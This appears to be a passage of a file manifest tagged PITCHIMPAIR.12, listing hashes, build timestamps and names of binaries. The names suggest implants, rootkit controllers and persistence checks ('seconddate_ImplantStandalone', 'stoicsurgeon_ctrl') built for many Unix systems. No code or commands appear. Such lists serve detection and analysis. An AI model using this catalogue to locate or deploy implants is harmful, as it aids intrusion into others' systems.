+145B7BEA50BD5D8A9E21FFF035A86FEAC90F7957 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.hppa1.1-hp-hpux10.20 +CD41D358EDFF7FEF5E19C02917F8E34F72965365 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-pc-bsdi4.0.1 +E7D13E998E62234308278EACC5B513FDA407511F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-pc-solaris2.7 +5F281F0D6A83D57277F533874713E8EFB5BD21BA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-unknown-freebsd4.0 +8B39B50F977168435E986571A704976E0D965E16 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i586-pc-linux-gnu +3BD679C76B6716E3ECBCC959EC7FCC6AD344D01D Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.2 +7B61B5691FABFC4593E92C2F8D810CF55B3F8EE8 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.3 +C98C109CCE447CC054A0F6EC3800841011C18F20 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.5 +D38A306AD37197A718FC3212CA7DA410A90698DA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-solaris2.4 +7E5B887A7DE35F2923C1E5AF506FF254DD6104D7 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-solaris2.5 +EF498E8FA12CF861C5622CE3E454EAD94876C0D1 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-sunos4.1.3 +B5DE2A5035D09771780B5B894D6C8B9E2EE53913 Fri Apr 17 02:10:41 2009 [PITCHIMPAIR.12] pork-inetd.gcc.v3.1.0.1 +A6DC376B81619597F495BE594E5C612103377B15 Wed May 5 17:21:19 2010 [PITCHIMPAIR.12] inetd.gcc.v3.2.0.1 +F6B9BD5B799BD69EFCEC29C335EFCB4DA7086138 Tue Dec 4 21:47:33 2007 [PITCHIMPAIR.12] porkserver.v3.0.0.1 +7DCFD0A7895834A7CEA7FDE48DFE43919C3E6BE9 Wed Nov 8 16:20:36 2006 [PITCHIMPAIR.12] jackladderhelper.aix.4.3 +A87D49EB1DECDE05F095745948B2FB9BFCC09CFA Wed Nov 8 16:20:16 2006 [PITCHIMPAIR.12] jackladderhelper.aix.5.1 +C4AC8740F0D0B932EDC09B577D24027423B122AF Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-2.0-2.2 +43163B06585F45012B5BB77980553341E75A9595 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-2.2-2.4 +639A08DB3946F56FFE2D9C0DA83101F772009E55 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-kmod +67D2A1F41FFF896A57DC211199B5E1FE699A9DE9 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-port-24876 +933BE9B3C205EF7B473AC8916DBEDA4AE9A835BB Thu Sep 30 19:58:15 2004 [PITCHIMPAIR.12] rsync-2.6.3-i686-pc-linux-gnu +811649EF2FE631D94014F91D98C9538538599840 Sun Dec 28 06:01:00 2008 [PITCHIMPAIR.12] rsync-3.0.5-i386.pc.solaris-2.6 +C978E2504A9E241205DF2F1A4B86EA34F4D87792 Wed Jun 3 11:46:20 2009 [PITCHIMPAIR.12] rsync-3.0.5-i686-pc-linux-gnu +3C6F79214E32C282CD6300A75CB7E54A82604BDD Sun Dec 28 06:01:00 2008 [PITCHIMPAIR.12] rsync-3.0.5-sparc.sun.solaris-2.6 +6E86AD901423AEF790A6F31DFB35C7B59DAB9B57 Thu May 24 16:11:09 2007 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.3.0.1_linux +72740BFFF9A876E72F4D7C4B23C17C880D120C75 Fri Apr 11 17:55:39 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.5.1.2_linux +723CAB027366ACCDEAB2F13675AE67D5D137C905 Tue Jun 24 14:51:43 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.5.1.3_linux +856728EA8FEB71B38397996556B6B10EA173036A Wed Aug 13 15:34:55 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.6.2.3_linux +B8112F9FFB79EC3DE32FF9878AFA236537B65327 Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_i386-linux +FD00CE7A90C70CF8BF565BB9C52C22BD8935E5AD Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_i386-solaris +D6A4CB573B66F3653EEEAA5BF1BF1A6B7E2FE965 Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_sparc-solaris +F30782389B78BCE5C7ABB1877869ABB4E8D3710A Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_x86_64-linux +759A2E04E8957E58807F1A7C6B7444DD6B899F29 Mon May 18 14:29:39 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.2_armv5b-linuxlinux-arm +D33CDCD3D15E873668EA016FD4C43EE8D9CD5A0E Mon Jul 6 10:32:44 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.3_trunklien +82E5A8B90F613578C668C552AFC1574EA19B29DA Thu Jul 2 18:13:35 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.4_trunklien +9D39CEE4614A8FBF7E64A1B41581072016F101AF Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd4 +78A93E106D842699D53BF022331F56504D712291 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd5 +AFCB73A2266CDDD8E2ED87F9E1360CCE3966A7C0 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd6 +3E536DC7F73AE7B8EFD079F55228E1709963E1AE Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd7 +8F1B40AEF3864BB9997392A60D537C7564DC7510 Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.4-belowtrunklien +61D8B078DB726551FF49982F84B672EB5DFE739D Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.5-abovetrunklien +DB103AA8D8849A6C47FBEA5E92DD84899C492F83 Fri Oct 2 21:53:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.6_sparc-solaris +4ADB8C14CFC2B6F06C9A344247A64DFD73812482 Tue May 11 14:03:18 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.7_i386-junos-8.5-abovetrunklien +2DA47A2B3BC3E8D3E2D170B053A9F499B58F3AEE Wed Aug 18 16:44:22 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.8_i386-junos-8.5-abovetrunklien +C3E4D1175F64508220491E78A0F83FDC76DE0814 Mon Nov 22 20:06:41 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.1.0_i386-junos-8.5-abovetrunklien +D72A6D8D447BD3F4655B734E1C9706B49010AED2 Thu Feb 17 18:46:50 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.1.1_i386-junos-8.4-belowtrunklien +07E891D088736FBCB18E699136866BD478482227 Thu Dec 9 16:52:33 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.1_i386-linux +07801F36004AB4F0DE4DAABA0BA79CCCEBBD2BB5 Thu Dec 9 18:06:46 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.2_x86_64-linux +2757FD8EE281E6109A83C0155A4D107AEC5015C8 Fri Dec 10 15:06:20 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.3_i386-freebsd +B5A8DBF522B0A3A9CD834A1A89D9EFE2DD878EC8 Fri Dec 10 20:51:02 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.4_x86_64-freebsd +9B26F16F3454E5837C2963345E366DFF99F4ACBD Tue Dec 14 20:28:05 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.5_sparc-solaris +ED0A01C5820815E84DD8C26839C1DEE8D87B7DD3 Wed Dec 22 22:30:14 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.6_i386-solaris +81488DD2D0BDFE24D21C87E10BAD26765743F823 Fri Jun 10 15:14:55 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.1_i386-linux +0220D8911B7CF7093BF7280880C914350E67F55A Mon Jun 13 13:46:15 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.2_x86_64-linux +362912F2DB33F1B428AEA37E09D25872B9DF9A11 Tue Jun 14 17:28:21 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.3_i386-freebsd +C7D44BB3B00D0C02976E9740082B4F0CABFBC8ED Wed Jun 15 17:25:14 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.4_x86_64-freebsd +FB1AC5C36BBDF1CFA6D50A29980A83EF6480CEFE Wed Jun 22 15:35:10 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.4.5_sparc-solaris +1A2073B47510904F9EA881F8CFA2C85F28EEE799 Wed Jun 22 19:57:22 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.4.6_i386-solaris +E7E29A322341011180FD69F830C4BE5B51078ED9 Thu Feb 14 00:08:23 2008 [PITCHIMPAIR.12] sgrep +C1DFC083ECCE3A5A119F004B967E66F3B2685896 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.alphaev6-dec-osf4.0f +4DCE8013B74919BD19815A5F31DF009C6A98DC8E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.hppa1.1-hp-hpux10.20 +6D09961BC9FFBA41FE540ECC6EA45B1E85412AF0 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.hppa1.1-hp-hpux11.00 +FE513BB7FC66AB3FBB09BE785FA6F7DD08B3D49B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-bsdi4.0.1 +72CD6000CE8239787DE0337D50D0DB6850B21AC2 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-sco3.2v5.0.5 +2CA752F8BF0A1572E97FF8317D89F1ABDB75510E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.6 +94C9FC22B52B297532A87276B8AA777D2637A314 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.7 +5404DC7FC01F96509032F7405FA88CC3FD48855B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.8 +1B7BAEC89757639814694B7DFD653D4595199ED7 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-unknown-freebsd4.0 +FCC3958ED51A411D621BAE36211A6B6637DC5DA6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i486-pc-linux-gnu +EA50081C8D252AA2DDE248A50E371D055B900BED Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i486-pc-linux-gnulibc1 +E7E29A322341011180FD69F830C4BE5B51078ED9 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i586-pc-linux-gnu +7E21D748CFB793658E529B1712E646B84CCBC8B6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnu +7E21D748CFB793658E529B1712E646B84CCBC8B6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnu-redhat-7.0 +69BE668A9643082EC5245D93CF54F6F7D3209348 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnulibc1-slackware-4.0.0 +99933EABFAA24F9F92EA154D5E95D416360301EA Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.mips-sgi-irix5.3 +7A5805B643CE14DD4D71CDD7D3EE341B58EA1648 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.powerpc-apple-darwin1.3 +BA6EF019DE1D1668C0A9899183DA0EEDEACC02BC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.powerpc-ibm-aix5.1 +C71CF2D5DB88F7CADD93803AA9F1464346B02B28 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.3 +38FF47B29B112F492E75D85AD00E17494BF751BF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.4 +2B27421BD52221923B17AB7D09161BFDCE80B35A Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.5 +019863194202DC183EE326B6737454682B180882 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.5.1 +BC0F10A914D1B1EE0BD9161158B4ECA314D72CAF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.6 +74A1CC94CE0175B54C56ACCA7F0BE4C2FD16EDAF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.7 +51464E7E890E6FB8C9EC7E943C2265E6D338684F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.8 +96AAAB0A4494F56EC7214ABEF9D083D0636B28FC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.1 +0A1E0F7A52CC97B05F58EC866259F203C5159F7F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.2 +CBC2FD9E635F6EFEED623B9FD17B0CEC9B56945D Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.3 +FF20BB527EB02EFC1EDDD6C45732EE308C0C7EA7 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.linux_v.2.0.1.1 +FD56631F47701C20DDF63D42712CA55349ED2B86 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.solaris.sparc_v.2.0.1.1 +B226BD9E2629ED19D345CCE60440507C1AED246C Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.solaris.x86_v.2.0.1.1 +FF4C1F400BB1BA53A153BDBD3F57FDB4537743F8 Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.12] skimcountry.aix5.1_v.1.4.0.10 +C6B0D0D7DE22D73BA10D489F54DEEEBA1F160667 Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.12] skimcountry.aix5.1_v.2.0.0.3 +993D905CB92BE323CA83330F353E348E4AD91006 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.12] skimcountry.sunos5.8_v.1.4.0.10 +E0D3C2B414F88E9A82D2A20E5BF530999DF1685B Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.12] skimcountry.sunos5.8_v.2.0.0.3 +181E9E23A0C158E690CE271E7061E6D6F52EEAFC Tue Aug 15 16:56:21 2006 [PITCHIMPAIR.12] skimcountry.sunos5.9_v.1.2 +047F217B798BEDCA2D7851822EA56A186ACBD379 Tue May 27 19:19:11 2008 [PITCHIMPAIR.12] skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 +8F6114ABF88C2807CD1F76BCC35F0F6EBE4D2B7B Tue May 27 19:19:43 2008 [PITCHIMPAIR.12] skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 +410E467CC96BDCF8A0382BB08D6128282893A6D9 Fri Oct 22 15:47:38 2010 [PITCHIMPAIR.12] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +760F723A7DA566B4D850AAD691136BCA0E964C91 Mon Jun 6 18:02:29 2011 [PITCHIMPAIR.12] skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 +06BAF31163918BB9C150D7577477BE6FA61933CF Tue May 4 21:08:53 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.3.1_i386_linux +DF88B23638C542B423FEAEC1374D77E73DAE8B45 Tue May 4 21:12:47 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.3.2_x86_64_linux +4114573DDE1E85CBB2364007AD19B5A697B489E2 Mon Jun 14 21:36:56 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.4.1_ppc_aix +2DC548DF58C418D1BCE2B99C5B261CC5F01A1F42 Thu Aug 5 17:48:15 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.5.1_ppc_aix +F17D2214974CA73B7FE56A3273D86014D1D679F7 Tue May 4 21:08:53 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.3.1_i386_linux +8CE5D8A8755429A8508BC81823FE2A24A483934A Tue May 4 21:12:47 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.3.2_x86_64_linux +88C58E170C2196F542F62DA5AEAF7668F94442E8 Mon Jun 14 21:36:56 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.4.1_ppc_aix +1B81A3C61AEE5036D187D2827729AFDBE0DA91AA Thu Aug 5 17:48:15 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.5.1_ppc_aix +FD9E0B5FE710A6E03BA18EC4BE99655656AB2136 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.10.2_i686-pc-linux-gnu-2.4.20-av15 +FD9E0B5FE710A6E03BA18EC4BE99655656AB2136 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.10.3_i686-pc-linux-gnu-2.6.11-av15 +49EA6719E4DD1F2D9DC88D59C29DE92E1F480991 Wed Jun 7 20:32:22 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.11.1_sparc-sun-solaris2.10 +101B9E8BCE36A8DC64D8CBA93D4516418550E89E Tue Aug 22 14:22:36 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.10_i686-pc-linux-gnu-2.4-tilttop-ns +85DEF1B22935C77D9A97270EE9CF3DD2FD905F8A Tue Aug 8 19:50:04 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.1_i686-pc-linux-gnu-2.6.9-34.el +16CE136EEFBDE7C623FBB0FA4D80B3963832D64F Mon Aug 14 19:12:29 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.6_i686-pc-linux-gnu-2.4-tilttop-comet +D9F525CA65B00EE9F2744F7C9E93326684240A73 Thu Aug 17 14:35:37 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.8_i686-pc-linux-gnu-2.4.20-8 +0639CBDC058F864B51E8D9DB4ECBBFB053444F09 Thu Mar 2 19:16:45 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.5.2_sparc-sun-solaris2.8 +FE0BFA01E34DF1022CC8E864C6DC3E4BC6606705 Thu Mar 2 19:28:08 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.5.3_sparc-sun-solaris2.9 +5F9B9A5B4291C855F6BCF4B074997EE10C1D7FE5 Thu Jul 27 13:40:05 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.7.1_i386-pc-solaris2.8 +BD2E33ACC0F34A4B2AB9502B31D48C154123420D Mon Dec 18 18:29:24 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.14.1_x86-linux-centos +C55060A345B6804A068F1437371A089AB44A3262 Wed Jan 3 17:11:43 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.16.1_x86-linux-vinifera-npost +E1AED7B01A7B5E856149158E9129757E73E88509 Thu Jan 4 17:00:55 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.17.1_x86-linux-redhat-enterprise-3.0 +2E3CCF17ED8ED52185013D15DB3AAF28984E7EFB Tue Jan 16 17:33:59 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.18.1_x86-linux-mandriva-10.2 +983CFC6E8769183A10E8176427428169E44EC6D8 Fri Jan 19 17:25:30 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.19.1_x86-linux-redhat-7.2 +E87D107B602501772CA8CF26F9DEEA3FB5FD2EE0 Wed Jan 24 20:35:01 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.19.2_x86-linux-2.4-tilttop-comet_emx_ns +0BEF31F39B2A60A86BAD5D63684C38AAC9CF3E75 Wed Oct 18 21:14:06 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.2.1_x86-linux-2.4-tilttop-comet_emx_ns +EFF5BD97EE2139AD4F437A5504F8251701A391D9 Mon Jan 29 19:10:05 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.20.3_sparc-sun-solaris2.9 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.3_x86-linux-fedora4 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.6_x86-linux-redhat-9.0 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.7_x86-linux-centos +9289E3E84E61F6A4C80E6D326FFA39D4ACD4FB04 Fri Feb 23 02:22:26 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.24.1_sparc-sun-solaris2.10 +E1059F3655E8A4CC921DB45C6C1C746E58AF2D67 Fri Feb 23 23:20:34 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.24.3_sparc-sun-solaris2.8 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.2_x86-linux-fedora2 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.3_x86-linux-fedora3 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.4_x86-linux-debian-3.1 +57BA74395C67E5098B065CFC0337C96CB0A573BB Mon Mar 19 19:03:21 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.1_x86-linux-vinifera-mail-npost +C020E876753088DF63B15D7C31BC8B04841957CB Tue Mar 20 00:39:23 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.3_i386-pc-solaris2.9 +00C0A215DC84D715B4127F644DAB351FEE49B66D Tue Mar 20 00:48:29 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.4_sparc-sun-solaris2.9 +7593E9CE36233110DAFACC8CE9F961A24944E2C5 Thu Mar 22 16:34:49 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.5_x86-linux-tilttop-gate.itec +B626B90A64C730CBF26814A2580E954F460AC65C Mon Apr 2 12:12:50 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.7_x86-linux-centos +84F6AEAB8D3018DE6FE7B96EEE64B222CA6DB8E5 Wed Apr 11 19:44:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.29.1_i386-pc-solaris2.8 +BC1A1518E3BB1178E38BAC10D81C76BC320EEAF7 Fri Oct 20 19:34:01 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.3.1_x86-linux-slackware-10.2 +8F3D0E4D97E8883ADB83FEC972ADBFA207A4508A Wed Apr 18 14:25:07 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.32.1_x86-linux-redhat-7.3 +92DC6BE77B8B11F55EF50D45459D5A2C54B5AA59 Tue May 15 13:01:50 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.34.1_x86-linux-tilttop +375C0D3B043A9FB38B5A197773BE2778E39F85BD Thu Jun 14 15:52:03 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.36.1_x86-linux-tilttop +CF82EEE69AD86F5C1106A7CEACC7D22D03AA245F Thu Jun 21 19:52:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.38.1_sparc-sun-solaris2.8 +8C8CAF5004A3A4421D59358FDA31B7B315957F5A Mon Jun 25 14:30:53 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.39.1_x86-linux-tilttop +D425F996A2E34F093AB64F0C964F88671F8FDB88 Thu Oct 26 20:02:29 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.4.1_x86-linux-fedora4 +FD7F501BE3BD3F2421893A8F91DD3B65F0D26752 Mon Nov 6 21:39:47 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.7.1_x86-linux-vinifera-mail +FFF18195865C94E60B97981D72AA37A54EE31153 Thu Jun 28 14:56:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.1.1_x86-linux-suse-10.0 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.1_x86-linux-fedora5 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.2_x86-linux-fedora6 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.4_x86-linux-redhat-7.3 +470A4B0A8D1CFE7620F872DCD5C586C82C8A78D2 Wed Sep 19 15:56:10 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.12.2_sparc-sun-solaris2.10 +5602BA3EAFA8CAA36B5B2161245C53DE1BAB9FE4 Fri Sep 21 11:25:44 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.12.3_i386-pc-solaris2.10 +F2DD0602EDAD2B5384ADBD74400F8F5E19E19705 Mon Nov 19 17:13:58 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.15.1_x86-freebsd-6.2 +528591EFDEFA610C2CE817860D3E7A2E1C3A8722 Thu Jul 5 15:54:45 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.3.2_sparc-sun-solaris2.10 +D85836B39D21004DE05C2CC24CD3BFAF3AD06C3D Thu Jul 5 17:21:02 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.1_x86-linux-tilttop +8DC609C17F4D998CFFC460515A51DB3133A7909D Fri Jul 6 14:52:13 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.2_x86-linux-fedora3 +E65BDC36FA37647804D80801B6B683C6CCD7A869 Mon Jul 9 16:56:03 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.3_x86-linux-mandriva-2006 +2FDD9A0FC841ABD00554272664C8E702EBDB5207 Thu Jul 19 16:55:04 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.4_x86-linux-asianux-1.0 +90A5CE2C698CE6E08C024D325CAC159AD61A97FF Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.5_x86-linux-redhat-enterprise-3.0 +90A5CE2C698CE6E08C024D325CAC159AD61A97FF Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.6_x86-linux-redhat-enterprise-4.0 +BD80BED98DC9BF073F382131EC99D73DFF0EA667 Wed Aug 8 21:24:36 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.6.2_x86-linux-redhat-enterprise-3.0 +745780EE99C60D22120CBFDC06A25B7DC88CF5E4 Fri Aug 10 23:51:52 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.1_sparc-sun-solaris2.9 +C077C645E48ECA9CAF8D1F6BBA3CC142FE2DE625 Mon Aug 13 17:23:36 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.2_sparc-sun-solaris2.8 +D6998C096D464CB7DD7D3BDF6550D4D55B02FA71 Mon Aug 27 22:01:37 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.3_sparc-sun-solaris2.7 +946BF12D016853CC889C171289F78C1F612AA500 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.9.1_x86-linux-centos +946BF12D016853CC889C171289F78C1F612AA500 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.12] 